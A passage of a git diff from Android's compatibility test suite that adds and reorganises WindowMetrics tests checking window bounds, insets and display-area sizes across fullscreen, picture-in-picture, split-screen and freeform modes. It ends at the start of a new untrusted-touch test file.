+ * Tests that verify the behavior of {@link WindowMetrics} APIs on {@link Activity activities}.
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:WindowMetricsActivityTests
+ */
+@Presubmit
+public class WindowMetricsActivityTests extends WindowManagerTestBase {
+    private static final Rect WINDOW_BOUNDS = new Rect(100, 100, 400, 400);
+    private static final Rect RESIZED_WINDOW_BOUNDS = new Rect(100, 100, 900, 900);
+    private static final int MOVE_OFFSET = 100;
+
+    @Test
+    public void testMetricsMatchesLayoutOnActivityOnCreate() {
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+        final OnLayoutChangeListener listener = activity.mListener;
+
+        listener.waitForLayout();
+
+        WindowMetricsTestHelper.assertMetricsMatchesLayout(activity.mOnCreateCurrentMetrics,
+                activity.mOnCreateMaximumMetrics, listener.getLayoutBounds(),
+                listener.getLayoutInsets());
+    }
+
+    @Test
+    public void testMetricsMatchesDisplayAreaOnActivity() {
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+
+        assertMetricsValidity(activity);
+    }
+
+    @Test
+    public void testMetricsMatchesLayoutOnPipActivity() {
+        assumeTrue(supportsPip());
+
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+
+        assertMetricsMatchesLayout(activity);
+
+        activity.enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+        waitForEnterPipAnimationComplete(activity.getComponentName());
+
+        assertMetricsMatchesLayout(activity);
+    }
+
+    @Test
+    public void testMetricsMatchesDisplayAreaOnPipActivity() {
+        assumeTrue(supportsPip());
+
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+
+        assertMetricsValidity(activity);
+
+        activity.enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+        waitForEnterPipAnimationComplete(activity.getComponentName());
+
+        assertMetricsValidity(activity);
+    }
+
+    /**
+     * Waits until the picture-in-picture animation has finished.
+     */
+    private void waitForEnterPipAnimationComplete(ComponentName activityName) {
+        waitForEnterPip(activityName);
+        mWmState.waitForWithAmState(wmState -> {
+            WindowManagerState.ActivityTask task = wmState.getTaskByActivity(activityName);
+            if (task == null) {
+                return false;
+            }
+            WindowManagerState.Activity activity = task.getActivity(activityName);
+            return activity.getWindowingMode() == WINDOWING_MODE_PINNED
+                    && activity.getState().equals(STATE_PAUSED);
+        }, "checking activity windowing mode");
+    }
+
+    /**
+     * Waits until the given activity has entered picture-in-picture mode (allowing for the
+     * subsequent animation to start).
+     */
+    private void waitForEnterPip(ComponentName activityName) {
+        mWmState.waitForWithAmState(wmState -> {
+            WindowManagerState.ActivityTask task = wmState.getTaskByActivity(activityName);
+            return task != null && task.getWindowingMode() == WINDOWING_MODE_PINNED;
+        }, "checking task windowing mode");
+    }
+
+    @Test
+    public void testMetricsMatchesLayoutOnSplitActivity() {
+        assumeTrue(supportsSplitScreenMultiWindow());
+
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+
+        assertMetricsMatchesLayout(activity);
+
+        mWmState.computeState(activity.getComponentName());
+        putActivityInPrimarySplit(activity.getComponentName());
+
+        mWmState.computeState(activity.getComponentName());
+        assertTrue(mWmState.getActivity(activity.getComponentName()).getWindowingMode()
+                == WINDOWING_MODE_MULTI_WINDOW);
+
+        assertMetricsMatchesLayout(activity);
+    }
+
+    @Test
+    public void testMetricsMatchesDisplayAreaOnSplitActivity() {
+        assumeTrue(supportsSplitScreenMultiWindow());
+
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+
+        assertMetricsValidity(activity);
+
+        mWmState.computeState(activity.getComponentName());
+        putActivityInPrimarySplit(activity.getComponentName());
+
+        mWmState.computeState(activity.getComponentName());
+        assertTrue(mWmState.getActivity(activity.getComponentName()).getWindowingMode()
+                == WINDOWING_MODE_MULTI_WINDOW);
+
+        assertMetricsValidity(activity);
+    }
+
+    @Test
+    public void testMetricsMatchesLayoutOnFreeformActivity() {
+        assumeTrue(supportsFreeform());
+
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+
+        assertMetricsMatchesLayout(activity);
+
+        launchActivity(new ComponentName(mTargetContext, MetricsActivity.class),
+                WINDOWING_MODE_FREEFORM);
+
+        // Resize the freeform activity.
+        resizeActivityTask(activity.getComponentName(), WINDOW_BOUNDS.left, WINDOW_BOUNDS.top,
+                WINDOW_BOUNDS.right, WINDOW_BOUNDS.bottom);
+        mWmState.computeState(activity.getComponentName());
+
+        assertMetricsMatchesLayout(activity);
+
+        // Resize again.
+        resizeActivityTask(activity.getComponentName(), RESIZED_WINDOW_BOUNDS.left,
+                RESIZED_WINDOW_BOUNDS.top, RESIZED_WINDOW_BOUNDS.right,
+                RESIZED_WINDOW_BOUNDS.bottom);
+        mWmState.computeState(activity.getComponentName());
+
+        assertMetricsMatchesLayout(activity);
+
+        // Move the activity.
+        resizeActivityTask(activity.getComponentName(), MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.left,
+                MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.top, MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.right,
+                MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.bottom);
+        mWmState.computeState(activity.getComponentName());
+
+        assertMetricsMatchesLayout(activity);
+    }
+
+    @Test
+    public void testMetricsMatchesDisplayAreaOnFreeformActivity() {
+        assumeTrue(supportsFreeform());
+
+        final MetricsActivity activity = startActivityInWindowingMode(MetricsActivity.class,
+                WINDOWING_MODE_FULLSCREEN);
+
+        assertMetricsValidity(activity);
+
+        launchActivity(new ComponentName(mTargetContext, MetricsActivity.class),
+                WINDOWING_MODE_FREEFORM);
+
+        // Resize the freeform activity.
+        resizeActivityTask(activity.getComponentName(), WINDOW_BOUNDS.left, WINDOW_BOUNDS.top,
+                WINDOW_BOUNDS.right, WINDOW_BOUNDS.bottom);
+
+        assertMetricsValidity(activity);
+
+        // Resize again.
+        resizeActivityTask(activity.getComponentName(), RESIZED_WINDOW_BOUNDS.left,
+                RESIZED_WINDOW_BOUNDS.top, RESIZED_WINDOW_BOUNDS.right,
+                RESIZED_WINDOW_BOUNDS.bottom);
+
+        assertMetricsValidity(activity);
+
+        // Move the activity.
+        resizeActivityTask(activity.getComponentName(), MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.left,
+                MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.top, MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.right,
+                MOVE_OFFSET + RESIZED_WINDOW_BOUNDS.bottom);
+
+        assertMetricsValidity(activity);
+    }
+
+    private static void assertMetricsMatchesLayout(MetricsActivity activity) {
+        final OnLayoutChangeListener listener = activity.mListener;
+        listener.waitForLayout();
+
+        final WindowMetrics currentMetrics = activity.getWindowManager().getCurrentWindowMetrics();
+        final WindowMetrics maxMetrics = activity.getWindowManager().getMaximumWindowMetrics();
+
+        Condition.waitFor(new Condition<>("WindowMetrics must match layout metrics",
+                () -> currentMetrics.getBounds().equals(listener.getLayoutBounds()))
+                .setRetryIntervalMs(500).setRetryLimit(10)
+                .setOnFailure(unused -> fail("WindowMetrics must match layout metrics. Layout"
+                        + "bounds is" + listener.getLayoutBounds() + ", while current window"
+                        + "metrics is " + currentMetrics.getBounds())));
+
+        final boolean isFreeForm = activity.getResources().getConfiguration().windowConfiguration
+                .getWindowingMode() == WINDOWING_MODE_FREEFORM;
+        WindowMetricsTestHelper.assertMetricsMatchesLayout(currentMetrics, maxMetrics,
+                listener.getLayoutBounds(), listener.getLayoutInsets(), isFreeForm);
+    }
+
+    /**
+     * Verify two scenarios for an {@link Activity}
+     * <ul>
+     *     <li>{@link WindowManager#getCurrentWindowMetrics()} matches
+     *     {@link Display#getSize(Point)}</li>
+     *     <li>{@link WindowManager#getMaximumWindowMetrics()} matches
+     *     DisplayArea bounds which the {@link Activity} is attached to.</li>
+     * </ul>
+     */
+    private void assertMetricsValidity(Activity activity) {
+        mWmState.computeState(activity.getComponentName());
+        final Display display = activity.getDisplay();
+
+        // Check window bounds
+        final Point displaySize = new Point();
+        final boolean isFreeForm = activity.getResources().getConfiguration().windowConfiguration
+                .getWindowingMode() == WINDOWING_MODE_FREEFORM;
+        display.getSize(displaySize);
+        final WindowMetrics windowMetrics = activity.getWindowManager().getCurrentWindowMetrics();
+        // Freeform activity doesn't inset the navigation bar and cutout area.
+        final Rect bounds = isFreeForm ? windowMetrics.getBounds() :
+                getBoundsExcludingNavigationBarAndCutout(windowMetrics);
+        assertEquals("Reported display width must match window width",
+                displaySize.x, bounds.width());
+        assertEquals("Reported display height must match window height",
+                displaySize.y, bounds.height());
+
+        // Check max window bounds
+        final Rect tdaBounds = getTaskDisplayAreaBounds(activity.getComponentName());
+        final WindowMetrics maxWindowMetrics = activity.getWindowManager()
+                .getMaximumWindowMetrics();
+        assertEquals("Display area bounds must match max window size",
+                tdaBounds, maxWindowMetrics.getBounds());
+    }
+
+    private Rect getTaskDisplayAreaBounds(ComponentName activityName) {
+        WindowManagerState.DisplayArea tda = mWmState.getTaskDisplayArea(activityName);
+        return tda.mFullConfiguration.windowConfiguration.getBounds();
+    }
+
+    public static class MetricsActivity extends FocusableActivity {
+        private WindowMetrics mOnCreateMaximumMetrics;
+        private WindowMetrics mOnCreateCurrentMetrics;
+        private final OnLayoutChangeListener mListener = new OnLayoutChangeListener();
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            mOnCreateCurrentMetrics = getWindowManager().getCurrentWindowMetrics();
+            mOnCreateMaximumMetrics = getWindowManager().getMaximumWindowMetrics();
+            getWindow().getDecorView().addOnLayoutChangeListener(mListener);
+
+            // Always extend the cutout areas because layout doesn't get the waterfall cutout.
+            final WindowManager.LayoutParams attrs = getWindow().getAttributes();
+            attrs.layoutInDisplayCutoutMode = LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+            getWindow().setAttributes(attrs);
+        }
+
+        @Override
+        protected void onDestroy() {
+            super.onDestroy();
+            getWindow().getDecorView().removeOnLayoutChangeListener(mListener);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTestHelper.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTestHelper.java
new file mode 100644
index 0000000..71d1c6d
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTestHelper.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.view.WindowInsets.Type.displayCutout;
+import static android.view.WindowInsets.Type.navigationBars;
+import static android.view.WindowInsets.Type.statusBars;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Insets;
+import android.graphics.Rect;
+import android.view.View;
+import android.view.WindowInsets;
+import android.view.WindowMetrics;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/** Helper class to test {@link WindowMetrics} behaviors. */
+public class WindowMetricsTestHelper {
+    public static void assertMetricsMatchesLayout(WindowMetrics currentMetrics,
+            WindowMetrics maxMetrics, Rect layoutBounds, WindowInsets layoutInsets) {
+        assertMetricsMatchesLayout(currentMetrics, maxMetrics, layoutBounds, layoutInsets,
+                false /* isFreeformActivity */);
+    }
+
+    public static void assertMetricsMatchesLayout(WindowMetrics currentMetrics,
+            WindowMetrics maxMetrics, Rect layoutBounds, WindowInsets layoutInsets,
+            boolean isFreeformActivity) {
+        assertEquals(layoutBounds, currentMetrics.getBounds());
+        // Freeform activities doesn't guarantee max window metrics bounds is larger than current
+        // window metrics bounds. The bounds of a freeform activity is unlimited except that
+        // it must be contained in display bounds.
+        if (!isFreeformActivity) {
+            assertTrue(maxMetrics.getBounds().width()
+                    >= currentMetrics.getBounds().width());
+            assertTrue(maxMetrics.getBounds().height()
+                    >= currentMetrics.getBounds().height());
+        }
+        final int insetsType = statusBars() | navigationBars() | displayCutout();
+        assertEquals(layoutInsets.getInsets(insetsType),
+                currentMetrics.getWindowInsets().getInsets(insetsType));
+        assertEquals(layoutInsets.getDisplayCutout(),
+                currentMetrics.getWindowInsets().getDisplayCutout());
+    }
+
+    public static Rect getBoundsExcludingNavigationBarAndCutout(WindowMetrics windowMetrics) {
+        WindowInsets windowInsets = windowMetrics.getWindowInsets();
+        final Insets insetsWithCutout =
+                windowInsets.getInsetsIgnoringVisibility(navigationBars() | displayCutout());
+
+        final Rect bounds = windowMetrics.getBounds();
+        return inset(bounds, insetsWithCutout);
+    }
+
+    private static Rect inset(Rect original, Insets insets) {
+        final int left = original.left + insets.left;
+        final int top = original.top + insets.top;
+        final int right = original.right - insets.right;
+        final int bottom = original.bottom - insets.bottom;
+        return new Rect(left, top, right, bottom);
+    }
+
+    public static class OnLayoutChangeListener implements View.OnLayoutChangeListener {
+        private final CountDownLatch mLayoutLatch = new CountDownLatch(1);
+
+        private volatile Rect mOnLayoutBoundsInScreen;
+        private volatile WindowInsets mOnLayoutInsets;
+
+        @Override
+        public void onLayoutChange(View v, int left, int top, int right, int bottom, int oldLeft,
+                int oldTop, int oldRight, int oldBottom) {
+            synchronized (this) {
+                mOnLayoutBoundsInScreen = new Rect(left, top, right, bottom);
+                // Convert decorView's bounds from window coordinates to screen coordinates.
+                final int[] locationOnScreen = new int[2];
+                v.getLocationOnScreen(locationOnScreen);
+                mOnLayoutBoundsInScreen.offset(locationOnScreen[0], locationOnScreen[1]);
+
+                mOnLayoutInsets = v.getRootWindowInsets();
+                mLayoutLatch.countDown();
+            }
+        }
+
+        public Rect getLayoutBounds() {
+            synchronized (this) {
+                return mOnLayoutBoundsInScreen;
+            }
+        }
+
+        public WindowInsets getLayoutInsets() {
+            synchronized (this) {
+                return mOnLayoutInsets;
+            }
+        }
+
+        void waitForLayout() {
+            try {
+                assertTrue("Timed out waiting for layout.",
+                        mLayoutLatch.await(4, TimeUnit.SECONDS));
+            } catch (InterruptedException e) {
+                throw new AssertionError(e);
+            }
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTests.java
deleted file mode 100644
index 05d80a0..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTests.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import static android.view.WindowInsets.Type.displayCutout;
-import static android.view.WindowInsets.Type.navigationBars;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
-
-import android.app.Activity;
-import android.graphics.Insets;
-import android.graphics.Point;
-import android.graphics.Rect;
-import android.os.Bundle;
-import android.platform.test.annotations.Presubmit;
-import android.view.Display;
-import android.view.View;
-import android.view.WindowInsets;
-import android.view.WindowMetrics;
-
-import androidx.test.rule.ActivityTestRule;
-
-import org.junit.Test;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests that verify the behavior of {@link WindowMetrics} and {@link android.app.WindowContext} API
- *
- * Build/Install/Run:
- *     atest CtsWindowManagerDeviceTestCases:WindowMetricsTests
- */
-@Presubmit
-public class WindowMetricsTests extends WindowManagerTestBase {
-
-    private ActivityTestRule<MetricsActivity> mMetricsActivity =
-            new ActivityTestRule<>(MetricsActivity.class);
-
-    @Test
-    public void testMetricsSanity() {
-        // TODO(b/149668895): handle device with cutout.
-        assumeFalse(hasDisplayCutout());
-
-        final MetricsActivity activity = mMetricsActivity.launchActivity(null);
-        activity.waitForLayout();
-
-        assertEquals(activity.mOnLayoutBoundsInScreen,
-                activity.mOnCreateCurrentMetrics.getBounds());
-        assertTrue(activity.mOnCreateMaximumMetrics.getBounds().width()
-                >= activity.mOnCreateCurrentMetrics.getBounds().width());
-        assertTrue(activity.mOnCreateMaximumMetrics.getBounds().height()
-                >= activity.mOnCreateCurrentMetrics.getBounds().height());
-
-        assertEquals(activity.mOnLayoutInsets.getSystemWindowInsets(),
-                activity.mOnCreateCurrentMetrics.getWindowInsets().getSystemWindowInsets());
-        assertEquals(activity.mOnLayoutInsets.getStableInsets(),
-                activity.mOnCreateCurrentMetrics.getWindowInsets().getStableInsets());
-        assertEquals(activity.mOnLayoutInsets.getDisplayCutout(),
-                activity.mOnCreateCurrentMetrics.getWindowInsets().getDisplayCutout());
-    }
-
-    @Test
-    public void testMetricsMatchesDisplay() {
-        final MetricsActivity activity = mMetricsActivity.launchActivity(null);
-        activity.waitForLayout();
-
-        final Display display = activity.getDisplay();
-
-        // Check window size
-        final Point displaySize = new Point();
-        display.getSize(displaySize);
-        final WindowMetrics windowMetrics = activity.getWindowManager().getCurrentWindowMetrics();
-        final Rect bounds = getLegacyBounds(windowMetrics);
-        assertEquals("Reported display width must match window width",
-                displaySize.x, bounds.width());
-        assertEquals("Reported display height must match window height",
-                displaySize.y, bounds.height());
-
-        // Check max window size
-        final Point realDisplaySize = new Point();
-        display.getRealSize(realDisplaySize);
-        final WindowMetrics maxWindowMetrics = activity.getWindowManager()
-                .getMaximumWindowMetrics();
-        assertEquals("Reported real display width must match max window size",
-                realDisplaySize.x, maxWindowMetrics.getBounds().width());
-        assertEquals("Reported real display height must match max window size",
-                realDisplaySize.y, maxWindowMetrics.getBounds().height());
-    }
-
-    private static Rect getLegacyBounds(WindowMetrics windowMetrics) {
-        WindowInsets windowInsets = windowMetrics.getWindowInsets();
-        final Insets insetsWithCutout =
-                windowInsets.getInsetsIgnoringVisibility(navigationBars() | displayCutout());
-
-        final Rect bounds = windowMetrics.getBounds();
-        return inset(bounds, insetsWithCutout);
-    }
-
-    private static Rect inset(Rect original, Insets insets) {
-        final int left = original.left + insets.left;
-        final int top = original.top + insets.top;
-        final int right = original.right - insets.right;
-        final int bottom = original.bottom - insets.bottom;
-        return new Rect(left, top, right, bottom);
-    }
-
-    public static class MetricsActivity extends Activity implements View.OnLayoutChangeListener {
-
-        private final CountDownLatch mLayoutLatch = new CountDownLatch(1);
-
-        private WindowMetrics mOnCreateMaximumMetrics;
-        private WindowMetrics mOnCreateCurrentMetrics;
-
-        private Rect mOnLayoutBoundsInScreen;
-        private WindowInsets mOnLayoutInsets;
-
-        @Override
-        protected void onCreate(Bundle savedInstanceState) {
-            super.onCreate(savedInstanceState);
-            mOnCreateCurrentMetrics = getWindowManager().getCurrentWindowMetrics();
-            mOnCreateMaximumMetrics = getWindowManager().getMaximumWindowMetrics();
-            getWindow().getDecorView().addOnLayoutChangeListener(this);
-        }
-
-        @Override
-        public void onLayoutChange(View v, int left, int top, int right, int bottom, int oldLeft,
-                int oldTop, int oldRight, int oldBottom) {
-            final View decorView = getWindow().getDecorView();
-            mOnLayoutBoundsInScreen = new Rect(decorView.getTop(), decorView.getLeft(),
-                    decorView.getRight(), decorView.getBottom());
-            // Convert decorView's bounds from window coordinates to screen coordinates.
-            final int[] locationOnScreen = new int[2];
-            decorView.getLocationOnScreen(locationOnScreen);
-            mOnLayoutBoundsInScreen.offset(locationOnScreen[0], locationOnScreen[1]);
-
-            mOnLayoutInsets = decorView.getRootWindowInsets();
-            mLayoutLatch.countDown();
-        }
-
-        void waitForLayout() {
-            try {
-                assertTrue("timed out waiting for activity to layout",
-                        mLayoutLatch.await(4, TimeUnit.SECONDS));
-            } catch (InterruptedException e) {
-                throw new AssertionError(e);
-            }
-        }
-    }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsWindowContextTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsWindowContextTests.java
new file mode 100644
index 0000000..e9ad18a
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsWindowContextTests.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.WindowMetricsTestHelper.assertMetricsMatchesLayout;
+import static android.server.wm.WindowMetricsTestHelper.getBoundsExcludingNavigationBarAndCutout;
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
+import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;
+import android.graphics.PixelFormat;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.WindowMetricsTestHelper.OnLayoutChangeListener;
+import android.view.Display;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowMetrics;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Test;
+
+/**
+ * Tests that verify the behavior of {@link WindowMetrics} and {@link android.app.WindowContext}
+ * APIs
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:WindowMetricsWindowContextTests
+ */
+@Presubmit
+public class WindowMetricsWindowContextTests extends WindowManagerTestBase {
+    @Test
+    public void testMetricsMatchesLayoutOnWindowContext() {
+        createAllowSystemAlertWindowAppOpSession();
+        final WindowContextTestSession mWindowContextSession =
+                mObjectTracker.manage(new WindowContextTestSession());
+
+        mWindowContextSession.assertWindowContextMetricsMatchesLayout();
+    }
+
+    @Test
+    public void testMetricsMatchesDisplayAreaOnWindowContext() {
+        createAllowSystemAlertWindowAppOpSession();
+        final WindowContextTestSession mWindowContextSession =
+                mObjectTracker.manage(new WindowContextTestSession());
+
+        mWindowContextSession.assertWindowContextMetricsMatchesDisplayArea();
+    }
+
+    private class WindowContextTestSession implements AutoCloseable {
+        private static final String TEST_WINDOW_NAME = "WindowMetricsTests";
+        private View mView;
+        private final Context mWindowContext;
+        private final WindowManager mWm;
+        private final OnLayoutChangeListener mListener = new OnLayoutChangeListener();
+
+        private WindowContextTestSession() {
+            final Context appContext = ApplicationProvider.getApplicationContext();
+            final Display display = appContext.getSystemService(DisplayManager.class)
+                    .getDisplay(DEFAULT_DISPLAY);
+            mWindowContext = appContext.createDisplayContext(display)
+                    .createWindowContext(TYPE_APPLICATION_OVERLAY, null /* options */);
+
+            mWm = mWindowContext.getSystemService(WindowManager.class);
+
+            InstrumentationRegistry.getInstrumentation().runOnMainSync(() -> {
+                mView = new View(mWindowContext);
+                mView.addOnLayoutChangeListener(mListener);
+                final WindowManager.LayoutParams params = getFullscreenOverlayAttributes();
+                mWm.addView(mView, params);
+            });
+        }
+
+        private void assertWindowContextMetricsMatchesLayout() {
+            mListener.waitForLayout();
+
+            final WindowMetrics currentMetrics = mWm.getCurrentWindowMetrics();
+            final WindowMetrics maxMetrics = mWm.getMaximumWindowMetrics();
+
+            assertMetricsMatchesLayout(currentMetrics, maxMetrics,
+                    mListener.getLayoutBounds(), mListener.getLayoutInsets());
+        }
+
+        private void assertWindowContextMetricsMatchesDisplayArea() {
+            // Check window bounds
+            final Point displaySize = new Point();
+            mWindowContext.getDisplay().getSize(displaySize);
+            final WindowMetrics currentMetrics = mWm.getCurrentWindowMetrics();
+            final Rect bounds = getBoundsExcludingNavigationBarAndCutout(currentMetrics);
+
+            assertEquals("Reported display width must match window width",
+                    displaySize.x, bounds.width());
+            assertEquals("Reported display height must match window height",
+                    displaySize.y, bounds.height());
+
+
+            mWmState.computeState();
+
+            // Check max window bounds
+            final WindowMetrics maxMetrics = mWm.getMaximumWindowMetrics();
+            WindowManagerState.DisplayArea da = mWmState.getDisplayArea(TEST_WINDOW_NAME);
+            final Rect daBounds = da.mFullConfiguration.windowConfiguration.getBounds();
+
+            assertEquals("Display area bounds must match max window size",
+                    daBounds, maxMetrics.getBounds());
+        }
+
+        @Override
+        public void close() throws Exception {
+            InstrumentationRegistry.getInstrumentation().runOnMainSync(()
+                    -> mWm.removeViewImmediate(mView));
+            mView.removeOnLayoutChangeListener(mListener);
+        }
+
+        private WindowManager.LayoutParams getFullscreenOverlayAttributes() {
+            final WindowManager.LayoutParams params = new WindowManager.LayoutParams(
+                    MATCH_PARENT, MATCH_PARENT, TYPE_APPLICATION_OVERLAY, 0,
+                    PixelFormat.TRANSLUCENT);
+            // Used for obtain the attached DisplayArea.
+            params.setTitle(TEST_WINDOW_NAME);
+            params.setFitInsetsTypes(0 /* types */);
+            params.setFitInsetsIgnoringVisibility(true);
+            params.layoutInDisplayCutoutMode = LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+            return params;
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
index ee80068..0438fd1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
@@ -826,7 +826,6 @@
 
         public ProjectedPresentation(Context outerContext, Display display) {
             super(outerContext, display);
-            getWindow().setType(WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION);
             getWindow().addFlags(WindowManager.LayoutParams.FLAG_LOCAL_FOCUS_MODE);
         }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
new file mode 100644
index 0000000..1283769
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
@@ -0,0 +1,1103 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW;
+import static android.server.wm.UiDeviceUtils.pressUnlockButton;
+import static android.server.wm.UiDeviceUtils.pressWakeupButton;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_TOKEN;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.ActivityOptions;
+import android.app.Instrumentation;
+import android.app.NotificationManager;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.Rect;
+import android.hardware.input.InputManager;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.SystemClock;
+import android.platform.test.annotations.Presubmit;
+import android.provider.Settings;
+import android.server.wm.overlay.Components;
+import android.server.wm.overlay.R;
+import android.server.wm.shared.IUntrustedTouchTestService;
+import android.server.wm.shared.BlockingResultReceiver;
+import android.util.ArrayMap;
+import android.util.ArraySet;
+import android.view.Display;
+import android.view.Gravity;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Toast;
+
+import androidx.annotation.AnimRes;
+import androidx.annotation.Nullable;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicInteger;
+
+@Presubmit
+public class WindowUntrustedTouchTest {
